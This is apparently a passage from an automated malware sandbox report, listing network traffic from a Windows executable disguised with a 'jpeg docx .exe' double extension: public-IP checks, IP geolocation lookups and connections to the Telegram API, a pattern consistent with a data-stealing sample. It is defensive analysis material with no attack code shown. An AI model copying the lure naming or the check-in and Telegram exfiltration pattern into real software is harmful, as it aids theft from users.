Jan 9, 2025 19:01:21.471221924 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:21.519067049 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:22.076098919 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:22.078277111 CET	49751	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:22.078294039 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:22.349579096 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:22.349643946 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:22.349745989 CET	49751	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:22.350249052 CET	49751	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:22.401216984 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:22.406177044 CET	80	49745	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:22.406280994 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:22.408663034 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:22.408703089 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:22.408787012 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:22.409387112 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:22.409403086 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.079978943 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.080060005 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:23.082784891 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:23.082794905 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.083048105 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.085030079 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:23.127331972 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.325712919 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.325787067 CET	443	49757	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:23.325858116 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:23.332140923 CET	49757	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:29.529589891 CET	49710	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:29.581335068 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:29.581368923 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:29.581454992 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:29.581665039 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:29.581681013 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.228252888 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.229556084 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:30.229568958 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.229687929 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:30.229692936 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.735744953 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.737011909 CET	443	49804	149.154.167.220	192.168.2.7
Jan 9, 2025 19:01:30.737078905 CET	49804	443	192.168.2.7	149.154.167.220
Jan 9, 2025 19:01:30.750473976 CET	49804	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 19:01:07.195988894 CET	57915	53	192.168.2.7	1.1.1.1
Jan 9, 2025 19:01:07.203324080 CET	53	57915	1.1.1.1	192.168.2.7
Jan 9, 2025 19:01:08.868993998 CET	63844	53	192.168.2.7	1.1.1.1
Jan 9, 2025 19:01:08.876668930 CET	53	63844	1.1.1.1	192.168.2.7
Jan 9, 2025 19:01:22.401103973 CET	57615	53	192.168.2.7	1.1.1.1
Jan 9, 2025 19:01:22.407931089 CET	53	57615	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 19:01:07.195988894 CET	192.168.2.7	1.1.1.1	0xe49f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.868993998 CET	192.168.2.7	1.1.1.1	0x39be	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:22.401103973 CET	192.168.2.7	1.1.1.1	0x2341	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:07.203324080 CET	1.1.1.1	192.168.2.7	0xe49f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:08.876668930 CET	1.1.1.1	192.168.2.7	0x39be	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:01:22.407931089 CET	1.1.1.1	192.168.2.7	0x2341	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:07.220386982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:08.508838892 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 9, 2025 19:01:08.516191006 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 9, 2025 19:01:08.832552910 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 9, 2025 19:01:09.903422117 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 9, 2025 19:01:10.188575983 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49710	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:10.986043930 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 9, 2025 19:01:12.271039963 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49714	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:12.969257116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:14.022439003 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49716	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:14.632700920 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:15.443716049 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49718	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:16.285727024 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:17.106971025 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49726	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:17.781234026 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:18.607762098 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49733	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:19.237478018 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:20.016908884 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49745	132.226.8.169	80	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:01:20.697515965 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 9, 2025 19:01:21.469355106 CET	273	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:09 UTC	864	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760458 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GIAZboZaRZRjp%2FVkzOs9JHt%2B%2B6lkwL2KA1dIPG%2BNdo6ynu2%2FStjwpupc2dpO6p9BWvfW77tGX4n11T%2BC37YxFCN9L3HwqEKYVOcFUEGSWnsAaWXnXD6XYH3OVACB8pk6GhD2u86W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654bc6b8a424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23777&min_rtt=2198&rtt_var=13781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1328480&cwnd=248&unsent_bytes=0&cid=303f494c7cfa548c&ts=392&x=0"
2025-01-09 18:01:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:10 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-09 18:01:10 UTC	856	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760460 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5klob8abj0IEEyUok%2BaRTg5HeL5IfMBU%2FbubA1gMkIrhKzv9WO3EZWXb58a4GGRE7yO%2FEIq%2FbQQhVXBqY2u8zSpZ8luoaEAgqhey7xpLlJ6spl0zbIEywlkLo8PWOJ8CMSi2Uh1p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654c33fc4727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2071&rtt_var=1035&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4234&recv_bytes=699&delivery_rate=32732&cwnd=234&unsent_bytes=0&cid=ee99bedb4a0b994d&ts=287&x=0"
2025-01-09 18:01:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49713	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:12 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:12 UTC	855	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760462 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CHznjKbR38VQWHCHN%2Bz77kLyCHZsy32cnaBLRZjp7L76fIxIH3T4UNF4JsxxN8dBGlZ4D%2Fsq54gztwlzPMogWK0HnTR%2FIDkvSKiMkw%2Bgjjk1Du8eM4GhUDeMcR727a7kiS50Frt4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654cf5f2ec34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1477&rtt_var=738&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4236&recv_bytes=699&delivery_rate=71169&cwnd=181&unsent_bytes=0&cid=20cb4ae479e7c7b3&ts=166&x=0"
2025-01-09 18:01:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
